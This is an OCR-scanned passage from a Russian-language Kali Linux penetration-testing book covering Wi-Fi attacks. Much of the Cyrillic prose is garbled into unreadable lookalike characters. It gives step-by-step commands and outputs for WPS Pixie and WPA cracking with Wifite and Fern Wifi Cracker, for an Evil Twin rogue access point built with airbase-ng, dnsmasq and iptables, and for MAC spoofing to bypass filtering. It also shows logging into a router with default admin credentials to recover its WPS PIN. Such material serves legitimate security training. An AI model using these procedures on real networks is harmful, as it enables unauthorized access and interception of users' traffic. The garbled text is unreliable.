3-3a TOTO uTO TPEOYETCsI CTOJBKO KOMITIOHEHTOB, PixieWPS uacto sammyckaercst Kak
YacTh APYroro MHCTpyMeHTa, HarnpuMep Wifite.

Wifite
Wifite — aBroMaru3upoBaHHbI WHCTPYMEHT TECTUPOBAHUST OECTIPOBOHBIX CEeTel Ha
[IPOHUKHOBEHNE, UCIOJb3YIONIHil cpeacTBa U3 Habopa Aircrack-ng u MHCTPYMEHTHI
komanHol cTpoku Reaver  PixieWPS.

Wifite moxxet 3axBaTuTh TpahuK, pA30PBATh CBSI3b, IPOCJIEIUTD 32 HOBBIM MTOJIKJIIO-
YeHHEM U TIPOBEPKOIl MOAJIUHHOCTH JIOTUHA U TAPOJIst JIJIst GECITPOBOIHBIX CETEH THIA
WEP, WPA u WPS. /I 3anycka pUIoKeHUS BBITIOJIHNTE KOMAH/y OCHOBHOTO MEHIO

Applications » Wireless Attacks » Wifite (ITpuitoskerust » BecripoBosbie ataku » Wifite) nim
BBEUTE B KOMAHIHYTO CTPOKY CJIe/yIolIee:

# wifite
JTa KOMaH/Ia BBIBE/IET HAC K HaYabHOMY 9Kpany (puc. 11.33).

Wifite aBTomarnyecku nepeseer GECIPOBOAHYI KapTy B PEKUM MOHUTOPUHTA,
a 3aTeM HaAuHeT CKaHUpoBaHie OecrpoBOAHbIX ceTeil (puc. 11.34).
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root@kali:~# wifite

WiFite v2 {r87)
automated wireless auditor

designed for Linux

scanning for wireless devices.
enabling monitor mode on ] done

sC updates at 5 sec intervals, CTRL+C when ready.
I 0:00:65] i s networks. @ targets and 0 clients found

[
| [
[

[

Puc. 11.33. HavanbHbii 3kpaH Wifite

[0:600:31] nn ess networks. 75 targets and 7 clients found
[+] checking for WP npatibility... done

NUM ESSID CH ENCR POWER WPS? CLIENT

11

Puc. 11.34. CkaHupoBaHue 6ecnpoBOAHbIX CETEN B aBTOMaTUYECKOM pexvMe

Kak TosIbKO BbI YBUJIMTE B CIIUCKE 11€JIeBYIO ceTh (B ganHoM npumepe ESSID wimn
mmpokoBemmaTeapHbiii SSID Brenner), HaskmuTe codetanne kiasui Ctri+C. B aTo Bpems
BaM Oy/IET TIPE/IJIOKEHO BBECTH JIUOO OINH HOMED, NGO ANATIA30H JJIsST TECTUPOBAHUSL.
B mpuMepe MBI BBeieM 4 1 HaskMeM Kiaasuiny Enter (puc. 11.35).

Puc. 11.35. LieneBas ceTb HaliaeHa
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Wifite aBromaTuuecku 3anyckaer ataky WPS Pixie, 3axBaTbiBas He0OXOIMMYIO

undopmanuio. B ciyyae ycneninoil aTaku Bbl yBUIUTE CJIeAYIONIYI0 MHPOPMAIUIO
(puc. 11.36).

[+] 1/1 WPA attacks succeeded
found Brenner's WPA key: "R WPS PIN: 4

[+] disabling monitor mode on w
[+] quitting

Puc. 11.36. Ataka npoLusa ycrewHo

Ecou ysissumocts W PS mipricyTeTByeT, Kak B 9T0i1 GectipoBojiHoii cetn, Wifite moxker
onpenesnTsb 1 Ki1od WPA, u PIN-koz.

Fern Wifi Cracker

Fern Wifi Cracker — ato npuioskenue ¢ rpapuueckuM uHTEpdeiicoM, HallmcaHHOE Ha
Python u npepHazHauenHoOe U1 TECTUPOBAHUS O€30MACHOCTH OECIIPOBOIHBIX CETEM.
B nacrosiiiee BpeMs I0IEP;KUBAIOTCA JIBe BEPCUU: TJIaTHAs TpodheccroHaibHas BepCus
¢ Topaszio 6oJIbIel GYHKIMOHATBHOCTBIO H GecIIaTHAs BEPCHsl ¢ OFPAHUYEHHON (hyHK-
[HOHATBHOCTHIO. Bepcus, Brimouennas B Kali Linux, jist mpaBusibHON paboTst TpebyeT
aircrack-ng v Ipyrux HHCTPYMEHTOB J17ist GECTIPOBOIHBIX CETEN.

Y106 3aIyCTUTDH Fern, BbI6CpI/ITC KOMaH/y OCHOBHOTO MeHIO Applications » Wireless
Attacks » Fern Wifi Cracker (ITpuiosxkenus » Bectiposoambie ataku » Fern Wifi Cracker)
WJIN BBEIUTE B KOMAH/IHYIO CTPOKY KOMaH/LY:

# fern-wifi-cracker

Ha puc. 11.37 nmokazana 3arpyskaemast Ha4aJabHast CTPAHUIIA.

M 1711 aTaku ToM ke O6ecTipoBOIHOI ceTu Oymem ucriosb3oBath Fern Wifi Cracker
u BeTpoeHHbI uHcTpyMenT Aircrack-Wi-Fi. B aroii nporpamMmme BMeCTo KOMaHIHON
CTPOKU TIPelycMOTpeH rpacdudeckuii uutepdeiic.

1. Boibepure unrepdeiic. [IlekHnTE HA CTPETIKE PACKPBIBAIOIIETOCS MEHIO Select
Interface (BoiGpath uaTepdeiic) u Boibepute wlan0. Fern aBToMatnuecku yCTaHOBUT
unTepdeiic B peskuM moHuTopunra (puc. 11.38).
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Fern WIFI Cracker [}
Select an interface card
((T)) Scan for Acoses s

WEP Detection Status
Fern WIF| Cracker 2.2 @ WEA Detacton Stats

Unable to dhedk for updates, network timeout:

Mo Key Entries
Python Version: 2.7.11 dafaul
Aircrack Version: Airrack-ng 1.2 re3 - ]
Gt Version: £.11.4 TeolBaox
Aboart Fern WIF Cracker
Puc. 11.37. HavanbHas ctpaduua Fern Wifi Cracker
Fern WIFI Cracker [ ]

FEr— T

Menitor Mode Enabled on wlanOmon

Puc. 11.38. ViHTepdelic aBTOMAaTUYECKM YCTAHOB/IEH B PEXUM MOHUTOPUHIA

2. Hasxmure krOTIKY Scan for Access Points (CkanupoBath TOuku goctyna). Fern nauner
aBTOMATHYeCKOe CKaHUPOBaHUe GECIPOBOHBIX CeTell B TpejesiaX AranasoHa aH-
teHHbI. [locsie 3aBepriennst ckaHnpoBaHus KHOMKA Wi-Fi WEP 1 Wi-Fi WPA n3MeHsT
I[BET C CEPOT0 Ha KPACHBIN U CUHUIA. ITO 3HAYUT, UTO TOUKH GECIIPOBOIHOTO OCTYIIA,
HCTIOJIB3YIOIINE 9TU MapaMeTPbl Oe3omacHocT, oOHapykeHbl (puc. 11.39).
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N | 7

1 Detected

23 Detected
Fern WIFI Cracker 2.2 @ WEA ©

Puc. 11.39. Toukun gocryna obHapy»xeHbl

Ecau naxars kHoniky Wifi WPA, IOSIBUTCST TTaHETb aTaky, T/ie TpauuecKu mpej-
CTaBJIEHbI TOUKK OeCIIPOBOAHOTO ocTyiia WPA, KoTopble Mbl MOJKEM aTaKOBaTh.
Mbr1 BbiGepeM Aircrack_Wifi (puc. 11.40).

Attack Panel (]

Sefect Tarpet Access Noint

Puc. 11.40. NaHenb aTtakn oTKpbITa

3. Ha nanesu aTak MOKa3aHbI CBEIEHMSI O BRIOPAHHOI TOUKE J0CTYIA. 3/1ECh BBI CMO-
xkere BoIOpaTh ataky (WPA win WPS), koropyio seimosaut Fern Wifi Cracker.
B Hamem mpumepe Mot BeiGepem ataky WPA (puc. 11.41).

Access Point Details

ESSID: A i L & Channel: &

Attack Option

© Regular Atack @ s Amack

Puc. 11.41. CeegeHns o ToUKe AocTyna

4. BoiGepure (aiis co CIIUCKOM BO3MOKHBIX MapoJiei,
kotopsiit Fern Wifi Cracker Gyzer ucrosib3oBars st
aTaky Ha MapoJib. /lJist Hamero mpuMepa Mbl CO3/1aT1
CIIEIUAJIbHBIA CIIMCOK KOI0B focTyna Wi-Fim ykasa-  pye. 11.42. YiasaH Tekcrosbili
s Fern Wifi Cracker mecTo pacrosioxkeHust HyKHOTO haiin co cnmckoM KoaoB
TekcToBOrO (haitna (puc. 11.42).
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5. Haxwmure xkHonky Wi-Fi Attack (Araka Wi-Fi). Fern Wifi Cracker Bbimosnut Bce
ATl MPOIECCa, KOTOPbII paHee Mbl PACCMOTPENU B mopasjene «Aircrack-ngy.
ITOT mpolece BKIOYAET B cebst feayTeHTU(MUKAINIO KJIUEHTA 1 3aXBaT YEThIPEX-
cropoHHero pykonoskarust. Hakonerr, Fern Wifi Cracker HaureT moabupath Koz 10-
CTYTIa, UCTIOJIb3YsT YKA3aHHbII TeKCTOBbII (haitir. Ecsin Kozt I0cTyTa B 9TOM TEKCTOBOM
(aiie Gyger oOHapy:KeH, MOIBUTCA cIenyiomee coobmenne (puc. 11.43).

Probing Access Point
Deauthenticating 64:A5:C3:DA:30:DC
Handshake Captured

Bruteforcing WPA Encryption 155HOUTINGspiders

= O )

WPA KEY: 15SHOUTINGspiders

Puc. 11.43. Koa goctyna HanaeH

I[Tocae Toro kak Fern Wifi Cracker Bsnomaer cerb Wi-Fi u Touku gocrymna, 6yaer
co3/1aH O9KeH]I.

KoHeuHo, BAM MOKET TIOKA3aThCst, UTO 9TO HauboJIee MPpOCTOil MHCTPYMEHT U3 BCEX
pacemorperHbix. Ho, uto6sl ipaBuiibHO uctiosib3oath Fern Wifi Cracker, cienyer nvern
YeTKOe TPEICTABICHNE O TOM, KaK paboTalT MHCTPYMEHTHI 13 Habopa Aircrack-ng,
noromy uro Fern Wifi Cracker, kax u apyrue cpezacrsa s B3noma Wi-Fi-ceru, nis
CBOEH paBOTHI UCTIOIB3YIOT UMEHHO HTOT HAbOP.

ATaKka «3/10M ABOUHUK>»

Ceiiuac B 11060M KPYITHOM TOpOJie MM KOMITaHuu ecTb cetr Wi-Fi. MHorue Touku
J0CTyTa, 0COOEHHO PACIIONOKEHHbBIE B OOIIECTBEHHBIX MECTaX, He TPeOYIOT ayTeHTH-
duramnuu. [Ipyrue ke MOTYT TOTPeOOBATD BBHITIOJHUTH HEKOTOPbIE YCIOBUS WU BOM-
TH B CUCTEMY C WCIIOJb30BAaHUEM Balleil 3JIeKTPOHHOM MOUYTHI WJIN YYETHOH 3amucu
Facebook.

Araxa «3oit gsoiinuk» (Evil Twin) npeaycMaTpuBaer MCIOIb30BaHIe TOUKH 10~
CTyTIa, KOTOpast 6e3 Be[oMa BJIa/IesIbl[a 3aKOHHON TOUKHY [OCTYTIa MACKUPYETCST TTO]T Hee
(Takske n3BecTHA Kak Rogue Access Point — MorienHrYeckast Touka joctyma). Curnan
TTO/I/IETHHOM TOUKM IOCTYTIA CUJIbHEE, YeM y 3aKoHHOM. [loaToMy KOHeuHbIe ToTh30Ba-
TEJIH, MOJIKIIOYAsICh, KAK OHU [yMAIOT, K 3aKOHHOH TOUKe A0CTyMa, Oy/IyT IepexBaueHbl
HOJUIeTBHOM TOUKOI.

3JI0YMBITIIJIEHHUK, KOTOPBIN YCTAHOBII MOJIEIBHYIO TOUKY, BBIOPAB CIIeHAPU 17151
aTaK! «9eJIOBEK MocepeIHes, C TIOMOIIBIO IPYTHX aTaKk CMOKET MTOTYINUTh (haKTUIeCKUi
napoJib 3aruiieHHoro SSID.
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Jlist ataku Ham noTpebyercst Habop Aircrack Suite u dnsmasq — HeGOJIBIIOM, JIETKHiA
UHCTPYMEHT, KOTOPBII JIENCTBYET KaK 1IPocToii B HacTpoiike DNS-cepBep nepecbuiku
u DHCP-cepsep. B 3aBucuMocTi 0T HallpaBJeHUs aTaKi BaM TOHAZ00STCS TOIOJHM-
TeJIbHbIe MHCTPYMEHTHI, Takue Kak apache2 u dnsspoof.

1. Yb6enntecn, 9To BCe TEpEUNCIeHHbIE HHCTPYMEHTHI YCTAHOBJIEHDI B BATel OTeparti-
onnoit cucreme. Kak mssectro, B Kali Linux Aircrack u Apache2 ycranossensr o
ymosrganmio. Eciin nuncrpymenta dnsspoof y Bac HeT, /171 €10 yCTaHOBKH 3aITyCTHTE
TepMUHAJ U BBeJUTE KOMaHIy apt-get install dnsmasq. Bam 6y/:[eT IIPEJIOKEHO
[IOATBEPAUTD YCTAHOBKY.

OmpenennTe 1eeBYI0 ceTh. [y 9TOTO MepeBeInTe ONH 13 HECTTPOBOMHBIX aflal-
TEPOB B PE;KUM MOHUTOPUHTA: airmon-ng start <interface>, a 3ateM 14 1epevuc-
JIEHMSI BCeX TPAHCIUPYEMBIX ceTell BBITOHUTE KOMaH/Ly airodump-ng <interface>
(puc. 11.44, 11.45).

root@kali: ~ @ ® O

File Edit View Search Terminal Help
root@kali:~# airmon-ng start wlan®

Found 3 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to run 'airmon-ng check kill'

PID Name

610 NetworkManager
858 wpa_supplicant
885 dhclient

PHY Interface Driver Chipset
phyl wlan@ rtlg1s7y Realtek Semiconductor Corp. RTLB187
(mac88211 monitor mode vif enabled for [phyl]lwlan® on [phyl]lwlan
@mon)
(macB8211 station mode vif disabled for [phyl]lwlan®)
phyo wlanl iwlwifi Intel Corporation Centrino Advanced-N 62
85 [Taylor Peak] (rev 34)

root@kali:~# |

Puc. 11.44. CeteBoii agantep nepeBeaeH B PEXUM MOHUTOPUHIa

root@kali:~# airodump-ng wlan®@mon

Puc. 11.45. KomaHza Ansa nepeuncneHns TpaHcIMpyeMbix ceTen

3. Ckopee Bcero, Bbl yBuanuTe omnbOKu, kak Ha puc. 11.46. B GosbiunncTBe ciyda-
€B MX MOKHO UTHOPUPOBaTH. IIpM BOSHUKHOBEHUHU TPOOJIEM /s 3aBEPIICHUS
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Trpoitecca Ucnoib3yiTe komanay kill <PID>. Hampumep, /17151 3aBepiiieHus mporiecca
NetworkManager Mbl BBezieM Komany kill 610.

root@Kkaliz ~ e 060 O

File Edit \iew Search Terminal Help
CH 11 ][ Elapsed: 12 s ][ 2018-08-27 12:11

A
==

BSSID PWR Beacons #Data, #/s CIPHER AUTH ESSID
-72 2
-38 12
-60 11
-58 15
-60 15
-61 12
-61 4
-63 17
-67 12
-66
-66
-68
-67
-66
-69
-68
-70
-70

CCMP PSK
CCMP PSK
CCMP PSK
CCMP PSK
CCMP PSK
CCMP PSK
CCMP PSK
CCMP PSK
CCMP PSK
CCMP PSK
CCMP PSK
CCMP PSK
CCMP PSK
CCMP PSK
CCMP PSK
CCMP PSK
CCMP PSK
CCMP PSK

=

)

0
4
2]
0
2]
0
0
1
0
0
2]
1
2
3
2]
0
2]
4
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=

root@kali:~# |

Puc. 11.46. Bo3MoXxHbIe ownbKM

O6parure BauManrie Ha BSSID (MAC-azapec), ESSID (ummpoKkoBelaTeibHOE UM,
SSID) n kanas 1eeBoii ceTn.

4. Hacrpoiite daiin korduryparuu 171 pabotsr ¢ dnsmasq. J{J1st 91Ol 11e/11 MBI B CBO-
€M JIOMallTHEeM KaTaJiore co3/Iajid anKy ¢ nMeHeM tmp (komanaa mkdir tmp). [Tocie
9TOr0 B KOMAH/IHOI CTPOKE TepMUHA/IA BBeJIU touch dnsmasq.conf, uToObI CO3/1aTh
(aiin ¢ umenem dnsmasgq. Jlanee, 4To6bI OTpeaKTUPOBATH STOT (hallil, B PelakTope
nano Mbl BBEJIU B KOMaHIHON CTPOKe TepMUHAJA nano dnsmasq. conf. CorsacHo aToit
KOMaH/Ie B TEKCTOBOM PeZlakTope nano ObL1 OTKPHIT (haiisr dnsmasq. conf. Tenepp on
TOTOB K Pe/laKTUPOBaHMIO. BBe/uTe cirenyioniue CTPOKH:
interface=<ato>
dhcp-range=10.0.0.10,10.0.0.250,12h
dhcp-option=3,10.0.0.1
dhcp-option=6,10.0.0.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1
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B ¢aiise dnsmasq.conf Mbl ykazasu uaTepdeiic at0; 3ajjaem auanaszon dhcp
(10.0.0.10—10.0.0.250, Bpemst apenzbl 12 yacoB); mist dchp mbl BoiOpasu mmapamerp 3,
a mmos 10.0.0.1; nus DNS-cepsepa mapamerp dhep onpememnm paBabM 3, a caM
DNS — 10.0.0.1. ITouemy 6b11 BoiOpan unrepdeiic atd? Iloromy uro airbase-ng cos-
naet untepdelic MOCTa IO YMOTYAHUIO, TO €CTb ato.

Coxpanute BHeceHHBIE B (haiis dnsmasq. conf M3MEHEHNS, HAKAaB COUCTAHNE KITABUII
Ctrl+0, u 3axpoiiTe pejakTop nano, Haxas Ctrl+X.

5. Jlug cosmaHust TOYKK A0CTyIa HacTpolite airbase-ng. /lius aToro BBeauTe: air-
baseng -e <ESSID> -c <channel> <monitor interface>. MuI ama nesieBoro ESSID
BBeJM ARRIS-4BE2, HOMep KaHama — 11, a uaTepdeiic MoHUTOpa — wlan@mon
(puc. 11.47).

root@kali: ~

File Edit View Search Terminal Help

root@kali:~# airbase-ng -e ARRIS-4BE2 -c 11 wlan®mon
12:21:804 Created tap interface at®

12:21:04 Trying to set MTU on at® to 1588

12:21:804 Trying to set MTU on wlan®mon to 18898
12:21:84 Access Point with BSSID 00:C0:CA:82:9E:37 started.

Puc. 11.47. Co3gaHune TOUKM JOCTYnNa

6. Bxuounte unrepdeiic at0, mopaboraiite ¢ IP-TabauiaMu 1 BKIIOYNTE /OTKIIOYN-
Te TpauK IS iepesiadn. ITO BbI MOKETE CJIeJIaTh MOOUYEPEIHO, KaK MOKa3aHo Ha
puc. 11.48, 11.49.

ifconfig at® 10.8.8.1 up

Puc. 11.48. BknioyeHune nHtepdelica at0

root@kali:~# iptables --flush
root@kali:~# iptables --table nat --append POSTROUTING --out-interface wlanl -j
MASQUERADE

root@kali:~# iptables --append FORWARD --in-interface at® -j ACCEPT
root@kali:~# |

Puc. 11.49. KomaHab! ans IP-tabnuu

7. 3anycrure DNS-cepep. [lJis1 aTOrO BBe/INTEe KOMaHIy dnsmasq -C <config file> -d,
rzie <config file> — ajpec, 0 KOTOPOMY XpaHUTCs Janubliii (haiiy. B nairem ciyuae
myTh XxpaHenus (aitia — tmp/dnsmasq. conf (puc. 11.50).
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root@Kkaliz ~ e 0 O

File Edit View Search Terminal Help

root@kali:~# dnsmasq -C tmp/dnsmasq.conf -d
dnsmasq: started, version 2.79 cachesize 150
dnsmasq: compile time options: IPv6 GNU-getopt DBus i18n IDN DHCP DHCPv6 no-Lua
TFTP conntrack ipset auth DNSSEC loop-detect inotify
dnsmasq-dhcp: DHCP, IP range 10.0.0.10 -- 10.0.0.2508, lease time 12h
using nameserver 8.8.8.8#53
reading /etc/resolv.conf
using nameserver 8.8.8.8#53
using nameserver 200.1.104.36#53
using nameserver 200.1.104.35#53
read fetc/hosts - 5 addresses

Puc. 11.50. 3anyck DNS-cepsepa

8. Bbl MokeTe 1pesioTBpaTUTh iepeady Tpaduka u 3aXBaTUTh BEKTOPbI MHUIIMATIN32A-
11, Kak ObLIO ITOKa3aHo paHee (UCIIOAb3YsI KOMaHLy echo @ > /proc/sys/net/ipv4/
ip_forward), TpeoCTaBUTH TIOJIB30BATEIIO 3aXBAYEHHbIH TTOPTAJT WJIN 71T HACTPOUKH
MitM-ataku nepenanpaButh Tpaduk (UCroab3ys echo 1 > /proc/sys/net/ipva/
ip_forward) TOTbKO Ha OTIpe/ieIeHHbBIE TIeTeBbIe CAlTHI.

3j1ech MBI MOKEM JIBUHYTHCS B HECKOJIBKUX HAITpaBIeHNsIX. YTOOBI 3aITHCATh MApOJIh
CETH, MOJKEM CO3/IaTh TIOJHOIEHHYIO aTaKy «3JI0H IBOWHUK» WU HACTPOUTDH aTaKy
THUIIA «4EJIOBEK TTOCEPEAUHES JIJIS OOHAPYIKEHUsT HECAHKIIMOHUPOBAHHDBIX MOJKIIOYE-
Huil. B ciryuae takoit ataku Ml Gy/IeM TIepeXBATBIBATh, AHATM3UPOBATH 1 OTCIEKUBATH
JBWIKEHUS JT060T0 KINEHTA, KOTOPBIN TTOAKIIOUAETCS K Hareil 6eCIiPOBOHON TOUKe
JocTyma (KOMUu JIeTaTbHOW TOUKH JIOCTYTIA), YJIaBJINBAsI CUTHAJIBI TIOAKIIIOUEHUS APYTUX
UHCTPYMEHTOB, Takux Kak dsniff win sslstrip. Vi, aToGbI BBITIOJHUTD aTaKy Ha CTOPO-
He KJIMEHTa HANPSIMYIO, 3aXBaThiBasi B Opaysepe MOJIb30BaTe sl HyKHbIE HAM JaHHbIE,
MOKEM 33/IefICTBOBATHh 9TU UHCTPYMEHTBI COBMECTHO ¢ ¢petimeoprkom BeEF (Browser
Exploitation Framework).

[Mocne B3noMa

Ecau Bam yzaanoch nomyuuts kiaod WPA nin WEP, 3nauut, y Bac 1nosBuJiach Bo3-
MOKHOCTD ayTeHTHhuKarmm B cett. OKazaBuIich B 6ECTIPOBOIHON CETH, BB MOKETE
3a/1efiCTBOBATH OTIMCAHHDIN paHee HAGOP MHCTPYMEHTOB. ITO CBA3AHO C TEM, UTO MTOCIIE
[paBUJIbHOI ayTeHTH(hUKALMK Bala onepanuontas cucrema Kali Linux cranoBurcst
gacTbio JokanbHoll cetr (LAN), kak OyATO BbI MOAKIIOYEHBI K I€JI€BOI CETH Yyepe3
ceTeBoil kabesb. B aToM cirydae y Bac MosiBASETCS BO3MOKHOCTD CKAHUPOBATD JIPYTHE
YCTPOHCTBA, NCI0JIb30BATh YSAI3BUMOCTH, 9KCILIIyaTUPOBATh CUCTEMBbI U [TOBBIIIATH CBOU
IIPUBUJIET AU,
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MAC-cnyduHr

EcTb HECKOJIBKO METO/IOB, KOTOPBIE TIOJIE3HBI JIJIS IEMOHCTPAIINY JIPYTUX YSI3BUMOCTEH
B McCIelyeMbIX HaMu OeciipoBoAHbIX ceTsax. Oauu us npuMepos — 00xo1 001ero 6ec-
IIPOBOZIHOTO dJIEMEHTA YIIPABJIeHNs, YTO Ha3biBaeTcst gunompavueti MAC. @unbrparus
MAC — 970 2s1eMeHT ylIpaBJIeHNs], XapaKTePHbIH /1711 HEKOTOPBIX MapIIPyTH3aTOPOB, HA
KOTOPBIX pasperniensl ToJibKo ornpenenerabie MAC-anpeca nim tunet MAC. Hanpuvep,
BbI MOJKETE OTIPEETUTh KOMMEPUECKOE MECTOTOJIOKEHHE, THIe ceituac Haxoaurest iPad
BecrpoBoiHast ceth Oyjer paspemniath Tobk0 MAC-ajgpeca ¢ epBbIME TPEMST MIECT-
HaJIaTepuYHbIMU cuMBosiamMu 34:12:98. /Ipyrue opranusaiuu MOTYT UMETh CITUCOK
MAC-anpecoB, K KOTOPBIM pa3penieHo IMPUCcOeIMHSATHCS.

Jlaske ecivt BBl cymeeTe CKOMIPOMETHpoBaTh Kiaiod WPA, To o6Hapyskute, 4T0
[IPUCOEIMHNTBCS K CETH Y BAaC HET BO3MOKHOCTU. DTO OOBSICHSIETCS TEM, UTO IeJieBast
OPTAaHMW3AIHNS MOKET MCITOJIB30BaTh HEKOTOPYIo hopmy duabrpanmn MAC-anpecos.
Jlst o6xoza Mbl ipuMeHsieM nHcTpyMeHT Macchanger, pabGoTatomuii u3 KoMaHHON
crpoku. OiHa IpocTas KoMaHa mo3BoJsieT ndamenntb MAC-azpec Ha Takoii, KOTOPOMY
paspeleHo MoKI0OYUThCS. Bo-TIepBhIX, BbI MOsKeTe Jierko Halitn HOBbIE MAC-anpec
U3 OTYETOB O TPEABIIYIINUX TIOMBITKAX PAa3BeAKH U B3soMa. MucTpyment Airodump-ng
UAEeHTU(DUIUPYET KJIMEHTOB, IIOAKIIOYEeHHBIX K GECIIPOBOHBIM ceTsiM. Bo-BTOPbIX, aHa-
JIN3 3aXBaueHHBIX ¢ momoIsio Wireshark ¢aiinos mossosmt Bam ugaeHTHGUINPOBATH
MOTEHITHAILHO fotrycTuMbie MAC-anpeca.

B aTOM 11priMepe Mbl HAILIM TOAK/II0YEHHBIN K 11€JIeBOii ceTy 6eCIIPOBOAHON KINEHT,
MAC-anpec kotoporo — 34:12:98:B5:7E:D4.

# macchanger -mac=34:12:98:B5:7E:D4 wlan@

Ha puc. 11.51 mokasaH BBIBOZ 9TOI KOMaH/IBI.

Ir ot@kali:~# macchanger --mac=34:12:98:B5:7E:D4 wlan®
(Current MAC: f4:f2:6d:1d:04:42 {unknown)

Permanent MAC: f4:f2:6d:1d:04:42 {unknown)
Mew MAC: _ 34:12:98:b5:7e:d4 (unknown)

Puc. 11.51. BuiBoa komMaHabl macchanger

Ecisu Mbl BoinosinuM koMany ifconfigwlan®, To yBuanM Hau nojzeabuoiit MAC-
aznpec (puc. 11.52).

oot@kali:~# ifconfig wlan®

lan@: flags=4098<BROADCAST ,MULTICAST= mtu 15808
ether 34:12:98:b5:7e:d4 txgueuelen 1008 (Ethernet)
RX packets @ bytes 0 (0.0 B)

RX errors @ dropped @ overruns 8 frame @
TX packets @ bytes 0 (0.8 B)
TX errors @ dropped @ overruns @ carrier 8 collisions @

Puc. 11.52. MoaaensHbii MAC-aapec
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Tenepb Mbl MOskeM 060iiTH 1100yI0 hunbrpanuo MAC, KoTopas BHIIOJHSIETCS
B TOYKE JIOCTYIA, U Y HAC €CTh BO3MOKHOCTD MOJKIIOUUTHCS K GECIIPOBOIHON CETH.
ITO OueHb BasKHBIIA 11T, TAK KaK TPH OOPBIBE CBSI3K Mbl MOKEM OCTABATHCSI TIOCTOSTHHO
MOJIKJTIOYEHHBIMU K CETH.

YCTOMYMBOCTb

Kax ToJIbKO MbI CMOKeM ayTeHTUDUIUPOBAThCsS B GECIIPOBOJHOI CETH U MOJYYUM BO3-
MOYKHOCTbD MTOJIKJIIOYUTHCS, HAM CJIelyeT 3aHAThCS YCTOMYNBOCTDIO HAIIETO COeMHEHNUS.
J1J1s1 5TOT0 HY’KHO COCPEIOTOYMTH CBOE BHUMaHHUE Ha 6€CITPOBOHOM MapIIpyTH3aTOPE.
BoJibiHCTBO GECIIPOBOAHBIX MAPIIPYTU3aTOPOB UMEIOT CETEBYIO WM APYIYI0 KOHCOJIb,
C TIOMOIITBIO KOTOPOI 3aKOHHDIE aIMUHUCTPATOPLI MOTYT BOUTHU B CUCTEMY U YIIPABIATH
JTaHHBIM yCTpoiicTBoM. OGBIYHO OECIIPOBO/HBIE MAPIIIPY TH3ATOPBI PACTIOIOKEHDI B Ha-
yajie mojicetTu GeCIPOBOAHON JTOKAIbHOU ceTr. Hampumep, ecim Mbl TOIKIIOUNMCS
K cetut Wi-Fi_Crack 1 BbI1o/1HUM KOMaHay ifconfigwlan@, ona M[LeHTM(I)MuMpyeT Hac Kak
yerpoiicrso ¢ IP-agpecom 10.0.0.7.

Ecan mbI niepeiigem B Gpaysepe 1o aapecy http://10.0.0.1, OTKpoeTcst cTpaHUIA
ayreHTudukanuu. YToObl MOJYUNUTh HIJII03 110 YMOJTYAHIIO, BBEAUTE B KOMAHIHYIO
CTPOKY TepMUHaa KoMaHay route-n (puc. 11.53).

Authentication Required [ ]
‘%% A username and password are being requested by http://10.0.0.1. The site says: "NETGEAR
= WNR1000v3"
User Name: | l
Password: l l

Tt [ ox |

Puc. 11.53. CtpaHuua ansa ayteHTuduKaumm oTkpbiTa

Ecom B mosie BBosa User Name (MMt mosib3oBatesist) BBecTu admin, a B 1oJjie BBOJIA
Password (Ilaposib) HUUETO He BBOAUTH U HAXKATh KHOTIKY OK, MbI, BO3MOKHO, TIOJTyYUM
caenyorryio crpanuily (puc. 11.54).

Ha aroii cTpanuiie Mbl BUIUM TAPOJIH IO YMOJIYAHUIO [IJIs1 YUETHOU 3AITUCH AJIMUHH-
crpatopa. V3pesika cryqaercst, 4TO CUCTEMHBII aJIMIHUCTPATOP CETH OCTABJISIET JIJIsT HGec-
MIPOBOIHOTO MapIIPyTU3aTOpa yueTHbIE JAaHHbBIE TT0 YMOJTYaHW0. Ec/in MbI He ToJryuynm
31O coobieHue 06 ommbKe, B THTEpHETE MOKHO HAITH MHOTO PECYPCOB, Ha KOTOPBIX
coOpaHbl yUeTHBIE 3allUCH aIMIUHUCTPATOPA 110 YMOJIUAHUIO /s IMHPOKOTO CIEKTPa
MapIIpyTU3aTOPOB, KOMMYTATOPOB M TOo4YeK OecpoBoaHOTO goctyna. Caiit http://
www.routerpasswords.com/ — OJIMH M3 MHOKeCTBa CAaliTOB C TTAPOJISIMU aIMITHICTPATOPa
MO YMOJIYAHUIO JIJTsT TO0OHBIX yeTpoiicTs. Ecm BBI He cymenn mogobparh maposb Ta-



[Mocne B3noma 371

KUM cIocoO0M, CIIE YOI BAPUAHT — TIPUMEHUTD TPYOYIO CUITY € TOMOIIBIO METO/IOB,
KOTOpBIE Mbl PACCMOTPEJIN PaHee.

leeweasel o000
/ WpiI710.0.c.ed-index.hm x| +

(€)@ |10.00./MNU. access unauthorized - index hitm 2 | |9 search e @ & & & =

[ Most Visited~ [l Offensive Security S Kall Linux " Kall Docs " Kali Tools [AExploit-DB W Alrerack-ng

NETGEAR

WHELU

F Admin F

Admin password is “password” by detault

u g the P st i I then thee only vary 1o recover
he password |3 10 reset e device 10 facory default Use a pin 1o press and hold the reser bumon for 5-8

seconds o do so.

Puc. 11.54. CTpaHuua C NaponeM no yMonYaHuio A1 yY4eTHOM 3anucu agMUMHUMCTpaTopa

Ecsin BBI cMOTJIM CKOMTIPOMETHPOBATH YUETHBIE 3ATCH aIMUHUCTPATOPA U TTOJTY-
YU IOCTYI K aIMUHUCTPATUBHBIM HACTPOWKaM, o6paTiTe BHUMaHUE Ha WH(MOpMa-
1IMI0, KOTOPas MO3BOJIUT BaM cHOBA Bolitu B cuctemy. Hanpumep, na PIN-konq WPS
(puc. 11.55).

ez

Advanced Wireless Settings

Fragmentation | ength (?56-2348) |2346 | -
CTSIRTS Threshold (1-2347): 2347
Praambla Mode |Lnﬂg Preamble v |
Turn off wireless signal by schedule
Tha wireless signal is o wrn off during the following time period:
Period Start | End I Recurrence Pattern

= Add & new perlod - Edit

WPS Seftings
Router's PIN: 70587104
™ Enanle Houter's PIN
75 prevent PIN compromise, auto disable the PIM after !3_| failed PIN connections, until router reboots.
In aulo disabled mode, rouler’s WPS LED will keep blinking slowly
o Keap Existing Wireless Seftings

Wireless Card Access List SellUp Access List

Puc. 11.55. ViHdopmaums o PIN-koge WPS

AJIMUHUCTPATOPHI MOTYT U3MEHHTD TIAPOJIb TOUKK OeCcIIpOBOAHOTO gocTyma WPA,
"o PIN-kox WPS wacto ocraBssior npeskanm. Kpome TOTO, BBI I0OJIKHBI TTPOBEPUTH,
